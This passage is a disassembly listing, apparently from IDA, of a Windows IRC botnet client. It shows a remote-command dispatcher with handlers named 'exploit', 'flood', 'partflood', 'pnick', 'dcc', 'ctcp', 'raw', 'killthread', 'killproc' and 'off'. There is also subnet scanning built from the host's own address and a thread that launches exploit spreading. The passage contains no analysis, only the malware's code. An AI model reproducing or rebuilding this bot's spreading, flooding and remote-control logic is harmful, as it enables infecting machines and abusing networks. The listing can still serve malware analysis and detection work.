		mov	[esi], bl
		jmp	loc_40619C
; ---------------------------------------------------------------------------

loc_404B4A:				; CODE XREF: sub_401C87+2EA5j
		push	eax
		push	offset unk_4410A0
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_404B55:				; CODE XREF: sub_401C87+2E91j
					; sub_401C87+2E96j
		push	eax
		push	offset unk_4410CC
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_404B60:				; CODE XREF: sub_401C87+2E86j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_404B65:				; CODE XREF: sub_401C87+2EFAj
		push	[ebp+var_90]
		push	edi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404B88
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404B65
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_404B88:				; CODE XREF: sub_401C87+2EEEj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_4410F8
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_404BA2:				; CODE XREF: sub_401C87+EA3j
					; sub_401C87+EB8j
		push	[ebp+var_8C]
		push	offset a332_1	; "332"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403610
		call	sub_40B854
		push	ebx
		call	dword_4F5338	; ExitProcess

loc_404BC8:				; CODE XREF: sub_401C87+19C2j
		push	offset aGet_2	; "get"
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404C6E
		cmp	dword_4E682C, ebx
		jz	short loc_404BF4
		push	offset dword_4E6210
		push	offset unk_441120
		jmp	loc_404C80
; ---------------------------------------------------------------------------

loc_404BF4:				; CODE XREF: sub_401C87+2F5Cj
		push	10h
		pop	eax
		mov	[ebp+var_2D0], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_4F554C	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_E30]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_441164
		push	eax
		call	sub_41EA60
		add	esp, 20h
		jmp	loc_403668
; ---------------------------------------------------------------------------

loc_404C6E:				; CODE XREF: sub_401C87+2F50j
		push	esi
		call	dword_4E30C8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404C94
		push	offset unk_44119C

loc_404C80:				; CODE XREF: sub_401C87+2F68j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_403668
; ---------------------------------------------------------------------------

loc_404C94:				; CODE XREF: sub_401C87+2FF2j
		push	offset dword_4E6210
		call	sub_41F620
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset unk_4411D0
		push	eax
		mov	dword_4E682C, 1
		call	sub_41EA60
		add	esp, 14h
		jmp	loc_403668
; ---------------------------------------------------------------------------

loc_404CC2:				; CODE XREF: sub_401C87+19AAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404DBB
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41EC30
		push	esi
		lea	eax, [ebp+var_14F4]
		push	edi
		push	eax
		call	sub_41EC30
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1504]
		push	10h
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_441204
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	8
		push	eax
		call	sub_40B691
		add	esp, 3Ch
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset sub_40BE20
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_404DAE
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441234
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_404DA6:				; CODE XREF: sub_401C87+312Dj
		push	32h
		call	dword_4F534C	; Sleep

loc_404DAE:				; CODE XREF: sub_401C87+310Cj
		cmp	[ebp+var_13DC],	ebx
		jz	short loc_404DA6
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_404DBB:				; CODE XREF: sub_401C87+304Aj
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099DA
		push	edi
		push	offset aRin	; "rin"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099DA
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409994
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409994
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41F7E0
		mov	edi, dword_4F534C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405977
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41F7E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404EBE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404EBE
		push	[ebp+esi+var_80]
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41E710
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4183AA
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_4412B0
		push	eax
		call	sub_41EA60
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404EBE
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_404EBE:				; CODE XREF: sub_401C87+31C3j
					; sub_401C87+31C9j ...
		push	[ebp+arg_10]
		push	offset aPm_1	; "pm"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F27
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404F27
		push	offset a__5	; " _"
		push	(offset	a__5+2)
		push	eax
		call	sub_4189CD
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41F620
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_3 ; "privmsg %s :%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 28h

loc_404F27:				; CODE XREF: sub_401C87+3248j
					; sub_401C87+3253j
		push	[ebp+arg_10]
		push	offset aCt	; "ct"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F90
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404F90
		push	offset a__6	; " _"
		push	(offset	a__6+2)
		push	eax
		call	sub_4189CD
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41F620
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_4412FC
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 28h

loc_404F90:				; CODE XREF: sub_401C87+32B1j
					; sub_401C87+32BCj
		push	[ebp+arg_10]
		push	offset dword_441310
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FF9
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404FF9
		push	offset byte_441314
		push	offset word_441316
		push	eax
		call	sub_4189CD
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41F620
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_441318
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 28h

loc_404FF9:				; CODE XREF: sub_401C87+331Aj
					; sub_401C87+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405062
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405062
		push	offset asc_44132E ; " "
		push	offset a_	; "_"
		push	eax
		call	sub_4189CD
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41F620
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 28h

loc_405062:				; CODE XREF: sub_401C87+3383j
					; sub_401C87+338Ej
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4050A1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_4050A1
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 10h

loc_4050A1:				; CODE XREF: sub_401C87+33ECj
					; sub_401C87+33F7j
		push	[ebp+arg_10]
		push	offset aPart_1	; "part"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4050E0
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_4050E0
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 10h

loc_4050E0:				; CODE XREF: sub_401C87+342Bj
					; sub_401C87+3436j
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405124
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_405124
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_405124:				; CODE XREF: sub_401C87+346Aj
					; sub_401C87+3475j
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405199
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405199
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		call	sub_41EB70
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset aSI	; "%s%i"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h

loc_405199:				; CODE XREF: sub_401C87+34AEj
					; sub_401C87+34B7j
		push	[ebp+arg_10]
		push	offset aJoinPart ; "join/part"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052E0
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4052E0
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_0	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS_0 ; "part %s %s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h
		call	sub_41EB70
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_1	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 10h
		call	sub_41EB70
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS_1 ; "part %s %s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_2	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h
		call	sub_41EB70
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPartSS_2 ; "part %s %s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_4052E0:				; CODE XREF: sub_401C87+3523j
					; sub_401C87+3530j
		push	[ebp+arg_10]
		push	offset aDcc	; "dcc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40537A
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_40537A
		call	dword_4F537C	; GetTickCount
		push	eax
		call	sub_41EB60
		pop	ecx
		call	sub_41EB70
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41EB70
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41EB70
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41EB70
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41EB70
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C0]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_4413DC
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h

loc_40537A:				; CODE XREF: sub_401C87+366Aj
					; sub_401C87+3677j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405477
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405477
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_3	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_1	; "NICK	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_2	; "NICK	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h
		call	sub_41EB70
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_3	; "NICK	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_405477:				; CODE XREF: sub_401C87+3704j
					; sub_401C87+3713j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4054BD
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_4	; "NICK	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_4054BD:				; CODE XREF: sub_401C87+3801j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055A9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055A9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_4	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h
		call	sub_41EB70
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "privmsg %s :%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h
		call	sub_41EB70
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_1 ; "privmsg %s :%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_4055A9:				; CODE XREF: sub_401C87+3847j
					; sub_401C87+3854j
		push	[ebp+arg_10]
		push	offset aNotice_2 ; "notice"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405695
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405695
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_5	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 24h
		call	sub_41EB70
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_2 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h
		call	sub_41EB70
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_3 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_405695:				; CODE XREF: sub_401C87+3933j
					; sub_401C87+3940j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057A9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4057A9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS_6	; "join	%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_4414C8
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 20h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_4414DC
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 10h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_4414F4
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 10h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_44150C
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 10h

loc_4057A9:				; CODE XREF: sub_401C87+3A1Fj
					; sub_401C87+3A2Cj
		push	[ebp+arg_10]
		push	offset dword_441524
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058CC
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4058CC
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_441528
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C0]
		push	offset dword_441530
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 20h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_441544
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_441554
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h
		call	sub_41EB70
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_441564
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_4058CC:				; CODE XREF: sub_401C87+3B33j
					; sub_401C87+3B40j
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405912
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405912
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4180CE
		add	esp, 14h

loc_405912:				; CODE XREF: sub_401C87+3C56j
					; sub_401C87+3C61j
		push	[ebp+arg_10]
		push	offset aOff_0	; "off"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406505
		mov	edi, offset dword_4EC11C

loc_40592E:				; CODE XREF: sub_401C87+3CC6j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_405941
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_405941
		push	eax
		call	dword_4E3120	; closesocket

loc_405941:				; CODE XREF: sub_401C87+3CABj
					; sub_401C87+3CB1j
		add	edi, 210h
		cmp	edi, offset byte_4F283C
		jl	short loc_40592E
		cmp	[ebp+var_8], ebx
		jnz	loc_406505
		push	ebx
		push	[ebp+var_4]
		push	offset unk_44159C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h
		jmp	loc_406505
; ---------------------------------------------------------------------------

loc_405977:				; CODE XREF: sub_401C87+319Fj
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_1	; "nick"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409977
		push	edi
		push	offset aN	; "n"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409977
		push	edi
		push	offset aJoin_0	; "join"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409953
		push	edi
		push	offset aJ	; "j"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409953
		push	edi
		push	offset aPart_2	; "part"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409936
		push	edi
		push	offset aPt	; "pt"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409936
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098FD
		push	edi
		push	offset aR_0	; "r"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098FD
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40983D
		push	edi
		push	offset aK_0	; "k"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40983D
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40978F
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40978F
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409734
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409734
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40971B
		push	edi
		push	offset aPr	; "pr"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40971B
		push	edi
		push	offset aOpen	; "open"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096ED
		push	edi
		push	offset aO	; "o"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096ED
		push	edi
		push	offset aServer_0 ; "server"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C4
		push	edi
		push	offset aSe	; "se"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C4
		push	edi
		push	offset aDns	; "dns"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409656
		push	edi
		push	offset aDn	; "dn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409656
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
